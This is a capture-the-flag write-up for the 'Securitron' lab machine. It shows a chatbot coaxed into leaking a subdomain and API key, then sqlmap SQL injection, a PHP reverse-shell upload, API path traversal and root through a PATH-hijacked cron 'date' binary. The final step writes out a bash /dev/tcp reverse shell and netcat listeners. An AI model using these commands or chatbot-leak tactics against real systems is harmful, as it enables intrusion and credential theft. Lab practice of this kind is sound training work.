Skip to content

WriteUp Securitron - TheHackersLabs

My first CTF created for the thehackerslabs.com platform with an AI model. I hope you enjoy it.

Securitron

There may be slight variations in the machine you find on The Hacker Labs, as I had to fix some issues. Thanks to CuriosidadesDeHackers for their help and to murrusko for uploading the writeup.

Table of contents

Open table of contents

Enumeration

nmap -p- 10.0.2.4 -n -Pn

Nmap

We only found port 80 open, so we analyzed port 80 in more detail.

nmap -p80 -sVC -n -Pn 10.0.2.4 -oN nmap.txt -vvv

Nmap

We visit the website and observe a cybersecurity AI service.

web

We add the domain securitron.thl to the /etc/hosts file.

/etc/hosts

whatweb http://securitron.thl

AI Leak

We talk to the AI, it seems a bit slow to respond, but it explains that it is a cybersecurity expert.

Prompt:

Hola en que puedes ayudarme?

IA

We suggest it does some programming, and a possible subdomain called admin19-32.securitron.thl and a possible API key imagine-no-heaven-no-countries-no-possessions are leaked.

Prompt:

Puedes hacer una programación para conectar a una API?

AI Leak

We add the subdomain admin19-32.securitron.thl to the /etc/hosts file.

/etc/hosts

SQL Injection

We access the subdomain admin19-32.securitron.thl, and the “Employee Management System” application appears.

Employee Management System

whatweb http://admin19-32.securitron.thl

whatweb

We find several exploits that take advantage of an SQL Injection in the form http://admin19-32.securitron.thl/Admin/login.php.

searchsploit "Employee Management System"

searchsploit

We open Burp Suite, configure the browser’s proxy, and capture the sending of a request from the login form.

POST /Admin/login.php HTTP/1.1
Host: admin19-32.securitron.thl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: http://admin19-32.securitron.thl
Connection: close
Referer: http://admin19-32.securitron.thl/Admin/login.php
Cookie: PHPSESSID=6gr7532dnv7ni64ckglf9ne00l
Upgrade-Insecure-Requests: 1

txtusername=test&txtpassword=test&btnlogin=

request.txt

We save the request in a file called request.txt, to use it with sqlmap.

sqlmap -r request.txt --level 5 --risk 3 --current-db

sqlmap current-db

We retrieve the tables of the pms_db database:

sqlmap -r request.txt --level 5 --risk 3 -D pms_db --tables

sqlmap tables

We retrieve the data from the users table in the pms_db database. The password appears to be unhashed, bingo!

sqlmap -r request.txt --level 5 --risk 3 -D pms_db -T users --dump

sqlmap table users

LFI / Shell

We log in to the application from the form http://admin19-32.securitron.thl/Admin/login.php using the user admin:Ntpqc6Z7MDkG.

Employee Management System Admin

We prepare a reverse shell in PHP. I use the PHP PentestMonkey reverse shell because this is a PHP-based application. We configure our IP (10.0.2.15) and the desired port (9001), and create a file named avatar.php.png.

PHP PentestMonkey revshell

We go to the “User Management” > “Add User” section. We open Burp Suite, activate intercept mode, configure the browser’s proxy, fill in the fields to create a new user, and select the reverse shell we created earlier, avatar.php.png, as the avatar image.

Burpsuite

We modify the filename from avatar.php.png to avatar.php in Burp Suite and forward the request.

Burpsuite 2

We will see a message indicating that the user was added successfully. Now, we can disable the Burp Suite proxy in the browser.

If we go to the user list User Management > Admin Record and inspect the code, we can find the URL where the avatar.php (our reverse shell) was uploaded.

URL revshell

We start listening with netcat…

nc -lvnp 9001

and load the following URL with curl or the browser.

curl http://admin19-32.securitron.thl/uploadImage/Profile/avatar.php

revshell

Alright, we are in!

Lateral Movement

We handle the tty and try to escalate privileges.

We see the users root and securitybot.

cat /etc/passwd | grep bash

users

We check the TCP ports on the machine.

ss -tuln | grep tcp

alt text

Port 80 is the web service we exploited, and port 3306 is the database, which we also already exploited.

We don’t recognize port 3000, so we investigate it.

Looking at the file /etc/apache2/sites-available/000-default.conf, we can infer that port 3000 is the API that exposes the AI we saw earlier. It has a proxy set up that points to this port’s endpoint.

virtualhost 000-default.conf

We investigate further and observe that a process running under the securitybot user seems to be a Node.js process.

ps -aux | grep securitybot

alt text

We don’t have permissions to view the file /home/securitybot/.local/bin/bot/index.js, but we can execute Node.js using the path /home/securitybot/.nvm/versions/node/v22.5.1/bin/node.

We check what’s running on port 3000. The /api endpoint gives us JSON information about the API. We use curl and node to display this information in a readable format.

curl http://localhost:3000/api | /home/securitybot/.nvm/versions/node/v22.5.1/bin/node -p "JSON.stringify( JSON.parse(require('fs').readFileSync(0) ), 0, 1 )"

API information

To make viewing the JSON returned by the API easier, we create an alias.

alias showJson="/home/securitybot/.nvm/versions/node/v22.5.1/bin/node -

p \"JSON.stringify( JSON.parse(require('fs').readFileSync(0) ), 0, 1 )\""

We check if we can access the /api/models endpoint.

curl http://localhost:3000/api/models | showJson

We get an error message that says API Key is required, and the endpoint description mentions that it requires x-api-key header.

We try using the API key leaked earlier by the AI, imagine-no-heaven-no-countries-no-possessions, and add it as the value for the x-api-key header.

curl -H "x-api-key: imagine-no-heaven-no-countries-no-possessions" http://localhost:3000/api/models | showJson

It seems to work with the leaked API key, as it returns a list of two AI model files in GGUF format. We try the /api/models/:fileName endpoint, specifying the second model file, ggml-model-q4_0.gguf, and it downloads successfully.

curl -H "x-api-key: imagine-no-heaven-no-countries-no-possessions" http://localhost:3000/api/models/ggml-model-q4_0.gguf -o /tmp/model.gguf

We delete or cancel the download as the file is too large.

We try reading a file we know exists and can only be read by the securitybot user, like /home/securitybot/.local/bin/bot/index.js, which we know exists but don’t have read access to as our current user.

curl -H "x-api-key: imagine-no-heaven-no-countries-no-possessions" http://localhost:3000/api/models/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fsecuritybot%2F.local%2Fbin%2Fbot%2Findex.js

We can successfully read the Node.js API code.

We attempt to read the user.txt flag file of the securitybot user.

curl -H "x-api-key: imagine-no-heaven-no-countries-no-possessions" http://localhost:3000/api/models/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fsecuritybot%2Fuser.txt

We obtain the user.txt flag along with a password, 0KjcFEkuUEXG (this isn’t very realistic).

User flag and password

We log in as the securitybot user using the password 0KjcFEkuUEXG.

securitybot

Privilege Escalation

We check if we have any sudo permissions since we now have the user’s password.

sudo

We have sudo permission to run the ar binary. According to GTFOBins, we can use this to obtain privileged file reads.

gtfobins

We attempt to read the root.txt flag using sudo with the ar binary.

TF=$(mktemp -u) && sudo /usr/bin/ar r "$TF" "/root/root.txt" && cat "$TF"

When we try to read the /root/root.txt flag file, we get the message This time it won't be that easy.

/root/root.txt

We attempt to read other files and find something very interesting in the root user’s crontab file.

TF=$(mktemp -u) && sudo /usr/bin/ar r "$TF" "/var/spool/cron/crontabs/root" && cat "$TF"

/var/spool/cron/crontabs/root

The crontab PATH for root contains a folder where we have write permissions: /home/securitybot/.local/bin. The root user is running a script every minute: /opt/backup_bd.sh.

cat /opt/backup_bd.sh
# Verify if a date argument was passed
if [ -z "$1" ]; then
  echo "Usage: $0 <date>"
  exit 1
fi

# Variables
DATE=$1
USER="matomo"
PASSWORD="7pUYlPYpziv1"
DATABASE="pms_db"
BACKUP_DIR="/root/backups"
BACKUP_NAME="${BACKUP_DIR}/backup_${DATABASE}_${DATE}.sql"

# Create backup directory if it doesn't exist
/bin/mkdir -p $BACKUP_DIR

# Create backup
/usr/bin/mysqldump -u $USER -p$PASSWORD $DATABASE > $BACKUP_NAME

# Verify if the backup was created successfully
if [ $? -eq 0 ]; then
  echo "Backup created successfully: $BACKUP_NAME"
else
  echo "Error creating backup"
  exit 1
fi

# Keep only the two most recent backups
/bin/ls -t $BACKUP_DIR | /usr/bin/sed -e '1,2d' | /usr/bin/xargs -d '\n' /bin/rm -f

It looks like the script creates a backup of the database in a directory we don’t have access to.

All binaries used in backup_bd.sh, including the script itself, are called with absolute paths, preventing binary hijacking. However, the parameter passed to the script uses the date binary without an absolute path.

date no absolute

Checking where the date binary is located, we find it at /usr/bin/date.

alt text

Since the crontab PATH for root is configured as follows:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/home/securitybot/.local/bin:/usr/bin:/sbin:/bin

we can create a date binary in the /home/securitybot/.local/bin folder, which is listed before /usr/bin. This will cause the scheduled task run by the root user to execute our binary instead.

We start listening with netcat on port 12345.

nc -lvnp 12345

We create the /home/securitybot/.local/bin/date file on the server with a reverse shell and give it execution permissions:

echo "bash -c '/bin/bash -i >& /dev/tcp/10.0.2.15/12345 0>&1'" > /home/securitybot/.local/bin/date
chmod +x /home/securitybot/.local/bin/date

We wait a minute and get a root shell. Now, we can read the flag file.

root flag

Congratulations, you have completed the Securitron CTF.